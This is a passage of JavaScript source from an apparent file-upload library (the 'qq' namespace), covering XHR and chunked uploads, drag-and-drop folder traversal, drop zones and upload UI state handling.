            params[spec.totalFileSizeName] = size;
            if (multipart) {
                params[spec.filenameParam] = name;
            }
        }, allChunksDoneRequester = new qq.traditional.AllChunksDoneAjaxRequester({
            cors: spec.cors,
            endpoint: spec.chunking.success.endpoint,
            log: log
        }), createReadyStateChangedHandler = function(id, xhr) {
            var promise = new qq.Promise();
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4) {
                    var result = onUploadOrChunkComplete(id, xhr);
                    if (result.success) {
                        promise.success(result.response, xhr);
                    } else {
                        promise.failure(result.response, xhr);
                    }
                }
            };
            return promise;
        }, getChunksCompleteParams = function(id) {
            var params = spec.paramsStore.get(id), name = getName(id), size = getSize(id);
            params[spec.uuidName] = getUuid(id);
            params[spec.filenameParam] = name;
            params[spec.totalFileSizeName] = size;
            params[spec.chunking.paramNames.totalParts] = handler._getTotalChunks(id);
            return params;
        }, isErrorUploadResponse = function(xhr, response) {
            return qq.indexOf([ 200, 201, 202, 203, 204 ], xhr.status) < 0 || !response.success || response.reset;
        }, onUploadOrChunkComplete = function(id, xhr) {
            var response;
            log("xhr - server response received for " + id);
            log("responseText = " + xhr.responseText);
            response = parseResponse(true, xhr);
            return {
                success: !isErrorUploadResponse(xhr, response),
                response: response
            };
        }, parseResponse = function(upload, xhr) {
            var response = {};
            try {
                log(qq.format("Received response status {} with body: {}", xhr.status, xhr.responseText));
                response = qq.parseJson(xhr.responseText);
            } catch (error) {
                upload && log("Error when attempting to parse xhr response text (" + error.message + ")", "error");
            }
            return response;
        }, sendChunksCompleteRequest = function(id) {
            var promise = new qq.Promise();
            allChunksDoneRequester.complete(id, handler._createXhr(id), getChunksCompleteParams(id), spec.customHeaders.get(id)).then(function(xhr) {
                promise.success(parseResponse(false, xhr), xhr);
            }, function(xhr) {
                promise.failure(parseResponse(false, xhr), xhr);
            });
            return promise;
        }, setParamsAndGetEntityToSend = function(params, xhr, fileOrBlob, id) {
            var formData = new FormData(), method = spec.method, endpoint = spec.endpointStore.get(id), name = getName(id), size = getSize(id);
            params[spec.uuidName] = getUuid(id);
            params[spec.filenameParam] = name;
            if (multipart) {
                params[spec.totalFileSizeName] = size;
            }
            if (!spec.paramsInBody) {
                if (!multipart) {
                    params[spec.inputName] = name;
                }
                endpoint = qq.obj2url(params, endpoint);
            }
            xhr.open(method, endpoint, true);
            if (spec.cors.expected && spec.cors.sendCredentials) {
                xhr.withCredentials = true;
            }
            if (multipart) {
                if (spec.paramsInBody) {
                    qq.obj2FormData(params, formData);
                }
                formData.append(spec.inputName, fileOrBlob);
                return formData;
            }
            return fileOrBlob;
        }, setUploadHeaders = function(id, xhr) {
            var extraHeaders = spec.customHeaders.get(id), fileOrBlob = handler.getFile(id);
            xhr.setRequestHeader("Accept", "application/json");
            xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
            xhr.setRequestHeader("Cache-Control", "no-cache");
            if (!multipart) {
                xhr.setRequestHeader("Content-Type", "application/octet-stream");
                xhr.setRequestHeader("X-Mime-Type", fileOrBlob.type);
            }
            qq.each(extraHeaders, function(name, val) {
                xhr.setRequestHeader(name, val);
            });
        };
        qq.extend(this, {
            uploadChunk: function(id, chunkIdx, resuming) {
                var chunkData = handler._getChunkData(id, chunkIdx), xhr = handler._createXhr(id, chunkIdx), size = getSize(id), promise, toSend, params;
                promise = createReadyStateChangedHandler(id, xhr);
                handler._registerProgressHandler(id, chunkIdx, chunkData.size);
                params = spec.paramsStore.get(id);
                addChunkingSpecificParams(id, params, chunkData);
                if (resuming) {
                    params[spec.resume.paramNames.resuming] = true;
                }
                toSend = setParamsAndGetEntityToSend(params, xhr, chunkData.blob, id);
                setUploadHeaders(id, xhr);
                xhr.send(toSend);
                return promise;
            },
            uploadFile: function(id) {
                var fileOrBlob = handler.getFile(id), promise, xhr, params, toSend;
                xhr = handler._createXhr(id);
                handler._registerProgressHandler(id);
                promise = createReadyStateChangedHandler(id, xhr);
                params = spec.paramsStore.get(id);
                toSend = setParamsAndGetEntityToSend(params, xhr, fileOrBlob, id);
                setUploadHeaders(id, xhr);
                xhr.send(toSend);
                return promise;
            }
        });
        qq.extend(this, new qq.XhrUploadHandler({
            options: qq.extend({
                namespace: "traditional"
            }, spec),
            proxy: qq.extend({
                getEndpoint: spec.endpointStore.get
            }, proxy)
        }));
        qq.override(this, function(super_) {
            return {
                finalizeChunks: function(id) {
                    if (spec.chunking.success.endpoint) {
                        return sendChunksCompleteRequest(id);
                    } else {
                        return super_.finalizeChunks(id, qq.bind(parseResponse, this, true));
                    }
                }
            };
        });
    };
    qq.traditional.AllChunksDoneAjaxRequester = function(o) {
        "use strict";
        var requester, method = "POST", options = {
            cors: {
                allowXdr: false,
                expected: false,
                sendCredentials: false
            },
            endpoint: null,
            log: function(str, level) {}
        }, promises = {}, endpointHandler = {
            get: function(id) {
                return options.endpoint;
            }
        };
        qq.extend(options, o);
        requester = qq.extend(this, new qq.AjaxRequester({
            acceptHeader: "application/json",
            validMethods: [ method ],
            method: method,
            endpointStore: endpointHandler,
            allowXRequestedWithAndCacheControl: false,
            cors: options.cors,
            log: options.log,
            onComplete: function(id, xhr, isError) {
                var promise = promises[id];
                delete promises[id];
                if (isError) {
                    promise.failure(xhr);
                } else {
                    promise.success(xhr);
                }
            }
        }));
        qq.extend(this, {
            complete: function(id, xhr, params, headers) {
                var promise = new qq.Promise();
                options.log("Submitting All Chunks Done request for " + id);
                promises[id] = promise;
                requester.initTransport(id).withParams(params).withHeaders(headers).send(xhr);
                return promise;
            }
        });
    };
    qq.DragAndDrop = function(o) {
        "use strict";
        var options, HIDE_ZONES_EVENT_NAME = "qq-hidezones", HIDE_BEFORE_ENTER_ATTR = "qq-hide-dropzone", uploadDropZones = [], droppedFiles = [], disposeSupport = new qq.DisposeSupport();
        options = {
            dropZoneElements: [],
            allowMultipleItems: true,
            classes: {
                dropActive: null
            },
            callbacks: new qq.DragAndDrop.callbacks()
        };
        qq.extend(options, o, true);
        function uploadDroppedFiles(files, uploadDropZone) {
            var filesAsArray = Array.prototype.slice.call(files);
            options.callbacks.dropLog("Grabbed " + files.length + " dropped files.");
            uploadDropZone.dropDisabled(false);
            options.callbacks.processingDroppedFilesComplete(filesAsArray, uploadDropZone.getElement());
        }
        function traverseFileTree(entry) {
            var parseEntryPromise = new qq.Promise();
            if (entry.isFile) {
                entry.file(function(file) {
                    var name = entry.name, fullPath = entry.fullPath, indexOfNameInFullPath = fullPath.indexOf(name);
                    fullPath = fullPath.substr(0, indexOfNameInFullPath);
                    if (fullPath.charAt(0) === "/") {
                        fullPath = fullPath.substr(1);
                    }
                    file.qqPath = fullPath;
                    droppedFiles.push(file);
                    parseEntryPromise.success();
                }, function(fileError) {
                    options.callbacks.dropLog("Problem parsing '" + entry.fullPath + "'.  FileError code " + fileError.code + ".", "error");
                    parseEntryPromise.failure();
                });
            } else if (entry.isDirectory) {
                getFilesInDirectory(entry).then(function allEntriesRead(entries) {
                    var entriesLeft = entries.length;
                    qq.each(entries, function(idx, entry) {
                        traverseFileTree(entry).done(function() {
                            entriesLeft -= 1;
                            if (entriesLeft === 0) {
                                parseEntryPromise.success();
                            }
                        });
                    });
                    if (!entries.length) {
                        parseEntryPromise.success();
                    }
                }, function readFailure(fileError) {
                    options.callbacks.dropLog("Problem parsing '" + entry.fullPath + "'.  FileError code " + fileError.code + ".", "error");
                    parseEntryPromise.failure();
                });
            }
            return parseEntryPromise;
        }
        function getFilesInDirectory(entry, reader, accumEntries, existingPromise) {
            var promise = existingPromise || new qq.Promise(), dirReader = reader || entry.createReader();
            dirReader.readEntries(function readSuccess(entries) {
                var newEntries = accumEntries ? accumEntries.concat(entries) : entries;
                if (entries.length) {
                    setTimeout(function() {
                        getFilesInDirectory(entry, dirReader, newEntries, promise);
                    }, 0);
                } else {
                    promise.success(newEntries);
                }
            }, promise.failure);
            return promise;
        }
        function handleDataTransfer(dataTransfer, uploadDropZone) {
            var pendingFolderPromises = [], handleDataTransferPromise = new qq.Promise();
            options.callbacks.processingDroppedFiles();
            uploadDropZone.dropDisabled(true);
            if (dataTransfer.files.length > 1 && !options.allowMultipleItems) {
                options.callbacks.processingDroppedFilesComplete([]);
                options.callbacks.dropError("tooManyFilesError", "");
                uploadDropZone.dropDisabled(false);
                handleDataTransferPromise.failure();
            } else {
                droppedFiles = [];
                if (qq.isFolderDropSupported(dataTransfer)) {
                    qq.each(dataTransfer.items, function(idx, item) {
                        var entry = item.webkitGetAsEntry();
                        if (entry) {
                            if (entry.isFile) {
                                droppedFiles.push(item.getAsFile());
                            } else {
                                pendingFolderPromises.push(traverseFileTree(entry).done(function() {
                                    pendingFolderPromises.pop();
                                    if (pendingFolderPromises.length === 0) {
                                        handleDataTransferPromise.success();
                                    }
                                }));
                            }
                        }
                    });
                } else {
                    droppedFiles = dataTransfer.files;
                }
                if (pendingFolderPromises.length === 0) {
                    handleDataTransferPromise.success();
                }
            }
            return handleDataTransferPromise;
        }
        function setupDropzone(dropArea) {
            var dropZone = new qq.UploadDropZone({
                HIDE_ZONES_EVENT_NAME: HIDE_ZONES_EVENT_NAME,
                element: dropArea,
                onEnter: function(e) {
                    qq(dropArea).addClass(options.classes.dropActive);
                    e.stopPropagation();
                },
                onLeaveNotDescendants: function(e) {
                    qq(dropArea).removeClass(options.classes.dropActive);
                },
                onDrop: function(e) {
                    handleDataTransfer(e.dataTransfer, dropZone).then(function() {
                        uploadDroppedFiles(droppedFiles, dropZone);
                    }, function() {
                        options.callbacks.dropLog("Drop event DataTransfer parsing failed.  No files will be uploaded.", "error");
                    });
                }
            });
            disposeSupport.addDisposer(function() {
                dropZone.dispose();
            });
            qq(dropArea).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropArea).hide();
            uploadDropZones.push(dropZone);
            return dropZone;
        }
        function isFileDrag(dragEvent) {
            var fileDrag;
            qq.each(dragEvent.dataTransfer.types, function(key, val) {
                if (val === "Files") {
                    fileDrag = true;
                    return false;
                }
            });
            return fileDrag;
        }
        function leavingDocumentOut(e) {
            if (qq.firefox()) {
                return !e.relatedTarget;
            }
            if (qq.safari()) {
                return e.x < 0 || e.y < 0;
            }
            return e.x === 0 && e.y === 0;
        }
        function setupDragDrop() {
            var dropZones = options.dropZoneElements, maybeHideDropZones = function() {
                setTimeout(function() {
                    qq.each(dropZones, function(idx, dropZone) {
                        qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropZone).hide();
                        qq(dropZone).removeClass(options.classes.dropActive);
                    });
                }, 10);
            };
            qq.each(dropZones, function(idx, dropZone) {
                var uploadDropZone = setupDropzone(dropZone);
                if (dropZones.length && qq.supportedFeatures.fileDrop) {
                    disposeSupport.attach(document, "dragenter", function(e) {
                        if (!uploadDropZone.dropDisabled() && isFileDrag(e)) {
                            qq.each(dropZones, function(idx, dropZone) {
                                if (dropZone instanceof HTMLElement && qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR)) {
                                    qq(dropZone).css({
                                        display: "block"
                                    });
                                }
                            });
                        }
                    });
                }
            });
            disposeSupport.attach(document, "dragleave", function(e) {
                if (leavingDocumentOut(e)) {
                    maybeHideDropZones();
                }
            });
            disposeSupport.attach(qq(document).children()[0], "mouseenter", function(e) {
                maybeHideDropZones();
            });
            disposeSupport.attach(document, "drop", function(e) {
                e.preventDefault();
                maybeHideDropZones();
            });
            disposeSupport.attach(document, HIDE_ZONES_EVENT_NAME, maybeHideDropZones);
        }
        setupDragDrop();
        qq.extend(this, {
            setupExtraDropzone: function(element) {
                options.dropZoneElements.push(element);
                setupDropzone(element);
            },
            removeDropzone: function(element) {
                var i, dzs = options.dropZoneElements;
                for (i in dzs) {
                    if (dzs[i] === element) {
                        return dzs.splice(i, 1);
                    }
                }
            },
            dispose: function() {
                disposeSupport.dispose();
                qq.each(uploadDropZones, function(idx, dropZone) {
                    dropZone.dispose();
                });
            }
        });
    };
    qq.DragAndDrop.callbacks = function() {
        "use strict";
        return {
            processingDroppedFiles: function() {},
            processingDroppedFilesComplete: function(files, targetEl) {},
            dropError: function(code, errorSpecifics) {
                qq.log("Drag & drop error code '" + code + " with these specifics: '" + errorSpecifics + "'", "error");
            },
            dropLog: function(message, level) {
                qq.log(message, level);
            }
        };
    };
    qq.UploadDropZone = function(o) {
        "use strict";
        var disposeSupport = new qq.DisposeSupport(), options, element, preventDrop, dropOutsideDisabled;
        options = {
            element: null,
            onEnter: function(e) {},
            onLeave: function(e) {},
            onLeaveNotDescendants: function(e) {},
            onDrop: function(e) {}
        };
        qq.extend(options, o);
        element = options.element;
        function dragoverShouldBeCanceled() {
            return qq.safari() || qq.firefox() && qq.windows();
        }
        function disableDropOutside(e) {
            if (!dropOutsideDisabled) {
                if (dragoverShouldBeCanceled) {
                    disposeSupport.attach(document, "dragover", function(e) {
                        e.preventDefault();
                    });
                } else {
                    disposeSupport.attach(document, "dragover", function(e) {
                        if (e.dataTransfer) {
                            e.dataTransfer.dropEffect = "none";
                            e.preventDefault();
                        }
                    });
                }
                dropOutsideDisabled = true;
            }
        }
        function isValidFileDrag(e) {
            if (!qq.supportedFeatures.fileDrop) {
                return false;
            }
            var effectTest, dt = e.dataTransfer, isSafari = qq.safari();
            effectTest = qq.ie() && qq.supportedFeatures.fileDrop ? true : dt.effectAllowed !== "none";
            return dt && effectTest && (dt.files || !isSafari && dt.types.contains && dt.types.contains("Files"));
        }
        function isOrSetDropDisabled(isDisabled) {
            if (isDisabled !== undefined) {
                preventDrop = isDisabled;
            }
            return preventDrop;
        }
        function triggerHidezonesEvent() {
            var hideZonesEvent;
            function triggerUsingOldApi() {
                hideZonesEvent = document.createEvent("Event");
                hideZonesEvent.initEvent(options.HIDE_ZONES_EVENT_NAME, true, true);
            }
            if (window.CustomEvent) {
                try {
                    hideZonesEvent = new CustomEvent(options.HIDE_ZONES_EVENT_NAME);
                } catch (err) {
                    triggerUsingOldApi();
                }
            } else {
                triggerUsingOldApi();
            }
            document.dispatchEvent(hideZonesEvent);
        }
        function attachEvents() {
            disposeSupport.attach(element, "dragover", function(e) {
                if (!isValidFileDrag(e)) {
                    return;
                }
                var effect = qq.ie() && qq.supportedFeatures.fileDrop ? null : e.dataTransfer.effectAllowed;
                if (effect === "move" || effect === "linkMove") {
                    e.dataTransfer.dropEffect = "move";
                } else {
                    e.dataTransfer.dropEffect = "copy";
                }
                e.stopPropagation();
                e.preventDefault();
            });
            disposeSupport.attach(element, "dragenter", function(e) {
                if (!isOrSetDropDisabled()) {
                    if (!isValidFileDrag(e)) {
                        return;
                    }
                    options.onEnter(e);
                }
            });
            disposeSupport.attach(element, "dragleave", function(e) {
                if (!isValidFileDrag(e)) {
                    return;
                }
                options.onLeave(e);
                var relatedTarget = document.elementFromPoint(e.clientX, e.clientY);
                if (qq(this).contains(relatedTarget)) {
                    return;
                }
                options.onLeaveNotDescendants(e);
            });
            disposeSupport.attach(element, "drop", function(e) {
                if (!isOrSetDropDisabled()) {
                    if (!isValidFileDrag(e)) {
                        return;
                    }
                    e.preventDefault();
                    e.stopPropagation();
                    options.onDrop(e);
                    triggerHidezonesEvent();
                }
            });
        }
        disableDropOutside();
        attachEvents();
        qq.extend(this, {
            dropDisabled: function(isDisabled) {
                return isOrSetDropDisabled(isDisabled);
            },
            dispose: function() {
                disposeSupport.dispose();
            },
            getElement: function() {
                return element;
            }
        });
    };
    (function() {
        "use strict";
        qq.uiPublicApi = {
            addInitialFiles: function(cannedFileList) {
                this._parent.prototype.addInitialFiles.apply(this, arguments);
                this._templating.addCacheToDom();
            },
            clearStoredFiles: function() {
                this._parent.prototype.clearStoredFiles.apply(this, arguments);
                this._templating.clearFiles();
            },
            addExtraDropzone: function(element) {
                this._dnd && this._dnd.setupExtraDropzone(element);
            },
            removeExtraDropzone: function(element) {
                if (this._dnd) {
                    return this._dnd.removeDropzone(element);
                }
            },
            getItemByFileId: function(id) {
                if (!this._templating.isHiddenForever(id)) {
                    return this._templating.getFileContainer(id);
                }
            },
            reset: function() {
                this._parent.prototype.reset.apply(this, arguments);
                this._templating.reset();
                if (!this._options.button && this._templating.getButton()) {
                    this._defaultButtonId = this._createUploadButton({
                        element: this._templating.getButton(),
                        title: this._options.text.fileInputTitle
                    }).getButtonId();
                }
                if (this._dnd) {
                    this._dnd.dispose();
                    this._dnd = this._setupDragAndDrop();
                }
                this._totalFilesInBatch = 0;
                this._filesInBatchAddedToUi = 0;
                this._setupClickAndEditEventHandlers();
            },
            setName: function(id, newName) {
                var formattedFilename = this._options.formatFileName(newName);
                this._parent.prototype.setName.apply(this, arguments);
                this._templating.updateFilename(id, formattedFilename);
            },
            pauseUpload: function(id) {
                var paused = this._parent.prototype.pauseUpload.apply(this, arguments);
                paused && this._templating.uploadPaused(id);
                return paused;
            },
            continueUpload: function(id) {
                var continued = this._parent.prototype.continueUpload.apply(this, arguments);
                continued && this._templating.uploadContinued(id);
                return continued;
            },
            getId: function(fileContainerOrChildEl) {
                return this._templating.getFileId(fileContainerOrChildEl);
            },
            getDropTarget: function(fileId) {
                var file = this.getFile(fileId);
                return file.qqDropTarget;
            }
        };
        qq.uiPrivateApi = {
            _getButton: function(buttonId) {
                var button = this._parent.prototype._getButton.apply(this, arguments);
                if (!button) {
                    if (buttonId === this._defaultButtonId) {
                        button = this._templating.getButton();
                    }
                }
                return button;
            },
            _removeFileItem: function(fileId) {
                this._templating.removeFile(fileId);
            },
            _setupClickAndEditEventHandlers: function() {
                this._fileButtonsClickHandler = qq.FileButtonsClickHandler && this._bindFileButtonsClickEvent();
                this._focusinEventSupported = !qq.firefox();
                if (this._isEditFilenameEnabled()) {
                    this._filenameClickHandler = this._bindFilenameClickEvent();
                    this._filenameInputFocusInHandler = this._bindFilenameInputFocusInEvent();
                    this._filenameInputFocusHandler = this._bindFilenameInputFocusEvent();
                }
            },
            _setupDragAndDrop: function() {
                var self = this, dropZoneElements = this._options.dragAndDrop.extraDropzones, templating = this._templating, defaultDropZone = templating.getDropZone();
                defaultDropZone && dropZoneElements.push(defaultDropZone);
                return new qq.DragAndDrop({
                    dropZoneElements: dropZoneElements,
                    allowMultipleItems: this._options.multiple,
                    classes: {
                        dropActive: this._options.classes.dropActive
                    },
                    callbacks: {
                        processingDroppedFiles: function() {
                            templating.showDropProcessing();
                        },
                        processingDroppedFilesComplete: function(files, targetEl) {
                            templating.hideDropProcessing();
                            qq.each(files, function(idx, file) {
                                file.qqDropTarget = targetEl;
                            });
                            if (files.length) {
                                self.addFiles(files, null, null);
                            }
                        },
                        dropError: function(code, errorData) {
                            self._itemError(code, errorData);
                        },
                        dropLog: function(message, level) {
                            self.log(message, level);
                        }
                    }
                });
            },
            _bindFileButtonsClickEvent: function() {
                var self = this;
                return new qq.FileButtonsClickHandler({
                    templating: this._templating,
                    log: function(message, lvl) {
                        self.log(message, lvl);
                    },
                    onDeleteFile: function(fileId) {
                        self.deleteFile(fileId);
                    },
                    onCancel: function(fileId) {
                        self.cancel(fileId);
                    },
                    onRetry: function(fileId) {
                        self.retry(fileId);
                    },
                    onPause: function(fileId) {
                        self.pauseUpload(fileId);
                    },
                    onContinue: function(fileId) {
                        self.continueUpload(fileId);
                    },
                    onGetName: function(fileId) {
                        return self.getName(fileId);
                    }
                });
            },
            _isEditFilenameEnabled: function() {
                return this._templating.isEditFilenamePossible() && !this._options.autoUpload && qq.FilenameClickHandler && qq.FilenameInputFocusHandler && qq.FilenameInputFocusHandler;
            },
            _filenameEditHandler: function() {
                var self = this, templating = this._templating;
                return {
                    templating: templating,
                    log: function(message, lvl) {
                        self.log(message, lvl);
                    },
                    onGetUploadStatus: function(fileId) {
                        return self.getUploads({
                            id: fileId
                        }).status;
                    },
                    onGetName: function(fileId) {
                        return self.getName(fileId);
                    },
                    onSetName: function(id, newName) {
                        self.setName(id, newName);
                    },
                    onEditingStatusChange: function(id, isEditing) {
                        var qqInput = qq(templating.getEditInput(id)), qqFileContainer = qq(templating.getFileContainer(id));
                        if (isEditing) {
                            qqInput.addClass("qq-editing");
                            templating.hideFilename(id);
                            templating.hideEditIcon(id);
                        } else {
                            qqInput.removeClass("qq-editing");
                            templating.showFilename(id);
                            templating.showEditIcon(id);
                        }
                        qqFileContainer.addClass("qq-temp").removeClass("qq-temp");
                    }
                };
            },
            _onUploadStatusChange: function(id, oldStatus, newStatus) {
                this._parent.prototype._onUploadStatusChange.apply(this, arguments);
                if (this._isEditFilenameEnabled()) {
                    if (this._templating.getFileContainer(id) && newStatus !== qq.status.SUBMITTED) {
                        this._templating.markFilenameEditable(id);
                        this._templating.hideEditIcon(id);
                    }
                }
                if (newStatus === qq.status.UPLOAD_RETRYING) {
                    this._templating.hideRetry(id);
                    this._templating.setStatusText(id);
                    qq(this._templating.getFileContainer(id)).removeClass(this._classes.retrying);
                } else if (newStatus === qq.status.UPLOAD_FAILED) {
                    this._templating.hidePause(id);
                }
            },
            _bindFilenameInputFocusInEvent: function() {
                var spec = qq.extend({}, this._filenameEditHandler());
                return new qq.FilenameInputFocusInHandler(spec);
            },
            _bindFilenameInputFocusEvent: function() {
                var spec = qq.extend({}, this._filenameEditHandler());
                return new qq.FilenameInputFocusHandler(spec);
            },
            _bindFilenameClickEvent: function() {
                var spec = qq.extend({}, this._filenameEditHandler());
                return new qq.FilenameClickHandler(spec);
            },
            _storeForLater: function(id) {
                this._parent.prototype._storeForLater.apply(this, arguments);
                this._templating.hideSpinner(id);
            },
            _onAllComplete: function(successful, failed) {
                this._parent.prototype._onAllComplete.apply(this, arguments);
                this._templating.resetTotalProgress();
            },
            _onSubmit: function(id, name) {
                var file = this.getFile(id);
                if (file && file.qqPath && this._options.dragAndDrop.reportDirectoryPaths) {
                    this._paramsStore.addReadOnly(id, {
                        qqpath: file.qqPath
                    });
                }
                this._parent.prototype._onSubmit.apply(this, arguments);
                this._addToList(id, name);
            },
            _onSubmitted: function(id) {
                if (this._isEditFilenameEnabled()) {
                    this._templating.markFilenameEditable(id);
                    this._templating.showEditIcon(id);
                    if (!this._focusinEventSupported) {
                        this._filenameInputFocusHandler.addHandler(this._templating.getEditInput(id));
                    }
                }
            },
            _onProgress: function(id, name, loaded, total) {
                this._parent.prototype._onProgress.apply(this, arguments);
                this._templating.updateProgress(id, loaded, total);
                if (Math.round(loaded / total * 100) === 100) {
                    this._templating.hideCancel(id);
                    this._templating.hidePause(id);
                    this._templating.hideProgress(id);
                    this._templating.setStatusText(id, this._options.text.waitingForResponse);
                    this._displayFileSize(id);
                } else {
                    this._displayFileSize(id, loaded, total);
                }
            },
            _onTotalProgress: function(loaded, total) {
                this._parent.prototype._onTotalProgress.apply(this, arguments);
                this._templating.updateTotalProgress(loaded, total);
            },
            _onComplete: function(id, name, result, xhr) {
                var parentRetVal = this._parent.prototype._onComplete.apply(this, arguments), templating = this._templating, fileContainer = templating.getFileContainer(id), self = this;
                function completeUpload(result) {
                    if (!fileContainer) {
                        return;
                    }
                    templating.setStatusText(id);
                    qq(fileContainer).removeClass(self._classes.retrying);
                    templating.hideProgress(id);
                    if (self.getUploads({
                        id: id
                    }).status !== qq.status.UPLOAD_FAILED) {
                        templating.hideCancel(id);
                    }
                    templating.hideSpinner(id);
                    if (result.success) {
                        self._markFileAsSuccessful(id);
                    } else {
                        qq(fileContainer).addClass(self._classes.fail);
                        templating.showCancel(id);
                        if (templating.isRetryPossible() && !self._preventRetries[id]) {
                            qq(fileContainer).addClass(self._classes.retryable);
                            templating.showRetry(id);
                        }
                        self._controlFailureTextDisplay(id, result);
                    }
                }
                if (parentRetVal instanceof qq.Promise) {
                    parentRetVal.done(function(newResult) {
                        completeUpload(newResult);
                    });
                } else {
                    completeUpload(result);
                }
                return parentRetVal;
            },
            _markFileAsSuccessful: function(id) {
                var templating = this._templating;
                if (this._isDeletePossible()) {
                    templating.showDeleteButton(id);
                }
                qq(templating.getFileContainer(id)).addClass(this._classes.success);
                this._maybeUpdateThumbnail(id);
            },
            _onUploadPrep: function(id) {
                this._parent.prototype._onUploadPrep.apply(this, arguments);
                this._templating.showSpinner(id);
            },
            _onUpload: function(id, name) {
                var parentRetVal = this._parent.prototype._onUpload.apply(this, arguments);
                this._templating.showSpinner(id);
                return parentRetVal;
            },
            _onUploadChunk: function(id, chunkData) {
                this._parent.prototype._onUploadChunk.apply(this, arguments);
                if (chunkData.partIndex > 0 && this._handler.isResumable(id)) {
                    this._templating.allowPause(id);
                }
            },
            _onCancel: function(id, name) {
                this._parent.prototype._onCancel.apply(this, arguments);
                this._removeFileItem(id);
                if (this._getNotFinished() === 0) {
                    this._templating.resetTotalProgress();
                }
            },
            _onBeforeAutoRetry: function(id) {
                var retryNumForDisplay, maxAuto, retryNote;
                this._parent.prototype._onBeforeAutoRetry.apply(this, arguments);
                this._showCancelLink(id);
                if (this._options.retry.showAutoRetryNote) {
                    retryNumForDisplay = this._autoRetries[id];
                    maxAuto = this._options.retry.maxAutoAttempts;
                    retryNote = this._options.retry.autoRetryNote.replace(/\{retryNum\}/g, retryNumForDisplay);
                    retryNote = retryNote.replace(/\{maxAuto\}/g, maxAuto);
                    this._templating.setStatusText(id, retryNote);
                    qq(this._templating.getFileContainer(id)).addClass(this._classes.retrying);
                }
            },
            _onBeforeManualRetry: function(id) {
                if (this._parent.prototype._onBeforeManualRetry.apply(this, arguments)) {
                    this._templating.resetProgress(id);
                    qq(this._templating.getFileContainer(id)).removeClass(this._classes.fail);
                    this._templating.setStatusText(id);
                    this._templating.showSpinner(id);
                    this._showCancelLink(id);
                    return true;
                } else {
                    qq(this._templating.getFileContainer(id)).addClass(this._classes.retryable);
                    this._templating.showRetry(id);
                    return false;
                }
            },
            _onSubmitDelete: function(id) {
                var onSuccessCallback = qq.bind(this._onSubmitDeleteSuccess, this);
                this._parent.prototype._onSubmitDelete.call(this, id, onSuccessCallback);
            },
            _onSubmitDeleteSuccess: function(id, uuid, additionalMandatedParams) {
                if (this._options.deleteFile.forceConfirm) {
                    this._showDeleteConfirm.apply(this, arguments);
                } else {
                    this._sendDeleteRequest.apply(this, arguments);
                }
            },
            _onDeleteComplete: function(id, xhr, isError) {
                this._parent.prototype._onDeleteComplete.apply(this, arguments);
                this._templating.hideSpinner(id);
                if (isError) {
                    this._templating.setStatusText(id, this._options.deleteFile.deletingFailedText);
                    this._templating.showDeleteButton(id);
                } else {
                    this._removeFileItem(id);
                }
            },
            _sendDeleteRequest: function(id, uuid, additionalMandatedParams) {
                this._templating.hideDeleteButton(id);
                this._templating.showSpinner(id);
                this._templating.setStatusText(id, this._options.deleteFile.deletingStatusText);
                this._deleteHandler.sendDelete.apply(this, arguments);
            },
            _showDeleteConfirm: function(id, uuid, mandatedParams) {
                var fileName = this.getName(id), confirmMessage = this._options.deleteFile.confirmMessage.replace(/\{filename\}/g, fileName), uuid = this.getUuid(id), deleteRequestArgs = arguments, self = this, retVal;
                retVal = this._options.showConfirm(confirmMessage);
                if (qq.isGenericPromise(retVal)) {
                    retVal.then(function() {
                        self._sendDeleteRequest.apply(self, deleteRequestArgs);
                    });
                } else if (retVal !== false) {
                    self._sendDeleteRequest.apply(self, deleteRequestArgs);
                }
            },
            _addToList: function(id, name, canned) {
                var prependData, prependIndex = 0, dontDisplay = this._handler.isProxied(id) && this._options.scaling.hideScaled, record;
                if (this._options.display.prependFiles) {
                    if (this._totalFilesInBatch > 1 && this._filesInBatchAddedToUi > 0) {
                        prependIndex = this._filesInBatchAddedToUi - 1;
                    }
                    prependData = {
                        index: prependIndex
                    };
                }
                if (!canned) {
                    if (this._options.disableCancelForFormUploads && !qq.supportedFeatures.ajaxUploading) {
                        this._templating.disableCancel();
                    }
                    if (!this._options.multiple) {
                        record = this.getUploads({
                            id: id
                        });
                        this._handledProxyGroup = this._handledProxyGroup || record.proxyGroupId;
                        if (record.proxyGroupId !== this._handledProxyGroup || !record.proxyGroupId) {
                            this._handler.cancelAll();
                            this._clearList();
                            this._handledProxyGroup = null;
                        }
                    }
                }
                if (canned) {
                    this._templating.addFileToCache(id, this._options.formatFileName(name), prependData, dontDisplay);
                    this._templating.updateThumbnail(id, this._thumbnailUrls[id], true, this._options.thumbnails.customResizer);
                } else {
                    this._templating.addFile(id, this._options.formatFileName(name), prependData, dontDisplay);
                    this._templating.generatePreview(id, this.getFile(id), this._options.thumbnails.customResizer);
                }
                this._filesInBatchAddedToUi += 1;
                if (canned || this._options.display.fileSizeOnSubmit && qq.supportedFeatures.ajaxUploading) {
                    this._displayFileSize(id);
                }
            },
            _clearList: function() {
                this._templating.clearFiles();
                this.clearStoredFiles();
            },
            _displayFileSize: function(id, loadedSize, totalSize) {
                var size = this.getSize(id), sizeForDisplay = this._formatSize(size);
                if (size >= 0) {
                    if (loadedSize !== undefined && totalSize !== undefined) {
                        sizeForDisplay = this._formatProgress(loadedSize, totalSize);
                    }
                    this._templating.updateSize(id, sizeForDisplay);
                }
            },
            _formatProgress: function(uploadedSize, totalSize) {
                var message = this._options.text.formatProgress;
                function r(name, replacement) {
                    message = message.replace(name, replacement);
                }
                r("{percent}", Math.round(uploadedSize / totalSize * 100));
                r("{total_size}", this._formatSize(totalSize));
                return message;
            },
            _controlFailureTextDisplay: function(id, response) {
                var mode, responseProperty, failureReason;
                mode = this._options.failedUploadTextDisplay.mode;
                responseProperty = this._options.failedUploadTextDisplay.responseProperty;
                if (mode === "custom") {
                    failureReason = response[responseProperty];
                    if (!failureReason) {
                        failureReason = this._options.text.failUpload;
                    }
                    this._templating.setStatusText(id, failureReason);
                    if (this._options.failedUploadTextDisplay.enableTooltip) {
                        this._showTooltip(id, failureReason);
                    }
                } else if (mode === "default") {
                    this._templating.setStatusText(id, this._options.text.failUpload);
                } else if (mode !== "none") {
                    this.log("failedUploadTextDisplay.mode value of '" + mode + "' is not valid", "warn");
                }
            },
